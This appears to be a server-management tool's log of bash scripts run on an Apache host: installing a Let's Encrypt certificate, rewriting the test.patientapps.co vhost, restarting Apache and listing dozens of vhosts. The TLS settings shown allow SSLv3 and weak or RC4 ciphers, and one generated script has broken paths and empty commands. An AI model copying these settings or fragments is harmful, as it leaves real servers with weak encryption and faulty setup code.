Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-09-13 10:56:13:
chmod 755 /tmp/pkp267803; /tmp/pkp267803; rm /tmp/pkp267803
2025-09-13 10:56:13:
dir=/etc/ssl/certs
2025-09-13 10:56:13:
PUT: /tmp/pkp160341
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/patientapps_test_co.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-09-13 10:56:13:
chmod 755 /tmp/pkp160341; /tmp/pkp160341; rm /tmp/pkp160341
2025-09-13 10:56:13:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_test_co.conf 43
<VirtualHost *:80>
ServerName test.patientapps.co
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_test
<Directory /var/www/patientapps_test>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/test_access.log combined
ErrorLog /var/log/apache2/patientapps/test_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName test.patientapps.co
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/b4d585ce19a4f3515f777a21dc27e293
DocumentRoot /var/www/patientapps_test
<Directory /var/www/patientapps_test>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/test_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/test_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-13 10:56:13:
PUT: /tmp/pkp301165
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_test_co.conf
TARGET=/etc/apache2/sites-enabled/patientapps_test_co.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName test.patientapps.co
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_test
<Directory /var/www/patientapps_test>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/test_access.log combined
ErrorLog /var/log/apache2/patientapps/test_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName test.patientapps.co
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/b4d585ce19a4f3515f777a21dc27e293
DocumentRoot /var/www/patientapps_test
<Directory /var/www/patientapps_test>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/test_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/test_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/patientapps_test_co.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/patientapps_test_co.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_test_co.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_test_co.conf= 1'
fi
2025-09-13 10:56:13:
chmod 755 /tmp/pkp301165; /tmp/pkp301165; rm /tmp/pkp301165
2025-09-13 10:56:13:
2025-09-13 10:56:13:
PUT: /tmp/pkp885744
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-09-13 10:56:13:
chmod 755 /tmp/pkp885744; /tmp/pkp885744; rm /tmp/pkp885744
2025-09-13 10:56:14:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-13 10:56:14: Establishing a connection
2025-09-13 10:56:14:
PUT: /tmp/pkp672517
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-09-13 10:56:14:
chmod 755 /tmp/pkp672517; /tmp/pkp672517; rm /tmp/pkp672517
2025-09-13 10:56:14:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
alias myapp.care
port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
alias www.cn-dego.myapp.care
port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
alias www.d-oak.myapp.care
port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
alias www.ma1-acrp.myapp.care
port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
alias www.ma1-anfr.myapp.care
port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
alias www.ma1-anin.myapp.care
port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
alias www.ma1-ankp.myapp.care
port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
alias www.ma1-anrp.myapp.care
port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
alias www.ma1-arcr.myapp.care
port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
alias www.ma1-asst.myapp.care
port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
alias www.ma1-chel.myapp.care
port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
alias www.ma1-cybb.myapp.care
port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
alias www.ma1-epas.myapp.care
port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
alias www.ma1-fass.myapp.care
port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
alias www.ma1-ldhr.myapp.care
port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
alias www.ma1-lsst.myapp.care
port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
alias www.ma1-mtfp.myapp.care
port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
alias www.ma1-mvrc.myapp.care
port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
alias www.ma1-octf.myapp.care
port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
alias www.ma1-ovin.myapp.care
port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
alias www.ma1-pfer.myapp.care
port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
alias www.ma1-prls.myapp.care
port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
alias www.ma1-rcl.myapp.care
port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
alias www.ma1-rorp.myapp.care
port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
alias www.ma1-savr.myapp.care
port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
alias www.ma1-shem.myapp.care
port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
alias www.ma1-sspr.myapp.care
port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
alias www.ma1-tosr.myapp.care
port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
alias www.ma1-tylo.myapp.care
port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
alias www.ma1-typa.myapp.care
port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
alias www.ma1-tyto.myapp.care
port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
alias www.ma1-utfa.myapp.care
port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
alias www.ma1-vasc.myapp.care
port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
alias www.ma1-vasr.myapp.care
port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
alias www.ma2-acrp.myapp.care
port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
alias www.ma2-anar.myapp.care
port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
alias www.ma2-anfr.myapp.care
port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
alias www.ma2-anin.myapp.care
port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
alias www.ma2-anrp.myapp.care
port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
alias www.ma2-buni.myapp.care
port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
alias www.ma2-chel.myapp.care
port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
alias www.ma2-hamm.myapp.care
port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
alias www.ma2-hind.myapp.care
port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
alias www.ma2-lcl.myapp.care
port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
alias www.ma2-mdfu.myapp.care
port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
alias www.ma2-mtfp.myapp.care
port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
alias www.ma2-rcl.myapp.care
port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
alias www.pai-lc.myapp.care
port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
alias 847670.myapp.care
alias 573398.myapp.care
port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
alias www.pai-rco.myapp.care
port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
alias www.sma1-lgb.myapp.care
port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
alias www.sma1-lrygb.myapp.care
port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
alias www.sma1-lsg.myapp.care
port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
alias www.sma1-pcnl.myapp.care
port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
alias www.test.myapp.care
port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
alias www.version2.myapp.care
wild alias *.myapp.care
port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
alias live.patientapps.net
port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
alias www.patientapps.net
port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
alias store.patientapps.com
alias store.patientapps.co
port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
*:443 is a NameVirtualHost
default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
alias myapp.care
port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
alias www.cn-dego.myapp.care
port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
alias www.d-oak.myapp.care
port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
alias www.ma1-acrp.myapp.care
port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
alias www.ma1-anfr.myapp.care
port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
alias www.ma1-anin.myapp.care
port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
alias www.ma1-ankp.myapp.care
port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
alias www.ma1-anrp.myapp.care
port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
alias www.ma1-arcr.myapp.care
port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
alias www.ma1-asst.myapp.care
port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
alias www.ma1-chel.myapp.care
port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
alias www.ma1-cybb.myapp.care
port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
alias www.ma1-dego.myapp.care
port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
alias www.ma1-epas.myapp.care
port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
alias www.ma1-fass.myapp.care
port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
alias www.ma1-ldhr.myapp.care
port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
alias www.ma1-lsst.myapp.care
port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
alias www.ma1-mtfp.myapp.care
port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
alias www.ma1-mvrc.myapp.care
port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
alias www.ma1-octf.myapp.care
port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
alias www.ma1-ovin.myapp.care
port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
alias www.ma1-pfer.myapp.care
port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
alias www.ma1-prls.myapp.care
port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
alias www.ma1-rcl.myapp.care
port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
alias www.ma1-rorp.myapp.care
port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
alias www.ma1-savr.myapp.care
port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
alias www.ma1-shem.myapp.care
port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
alias www.ma1-sspr.myapp.care
port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
alias www.ma1-tosr.myapp.care
port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
alias www.ma1-tylo.myapp.care
port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
alias www.ma1-typa.myapp.care
port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
alias www.ma1-tyto.myapp.care
port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
alias www.ma1-utfa.myapp.care
port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
alias www.ma1-vasc.myapp.care
port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
alias www.ma1-vasr.myapp.care
port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
alias www.ma2-acrp.myapp.care
port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
alias www.ma2-anar.myapp.care
port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
alias www.ma2-anfr.myapp.care
port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
alias www.ma2-anin.myapp.care
port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
alias www.ma2-anrp.myapp.care
port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
alias www.ma2-buni.myapp.care
port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
alias www.ma2-chel.myapp.care
port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
alias www.ma2-hamm.myapp.care
port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
alias www.ma2-hind.myapp.care
port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
alias www.ma2-lcl.myapp.care
port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
alias www.ma2-mdfu.myapp.care
port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
alias www.ma2-mtfp.myapp.care
port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
alias www.ma2-rcl.myapp.care
port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
alias www.pai-lc.myapp.care
port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
alias 847670.myapp.care
alias 573398.myapp.care
port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
alias www.pai-rco.myapp.care
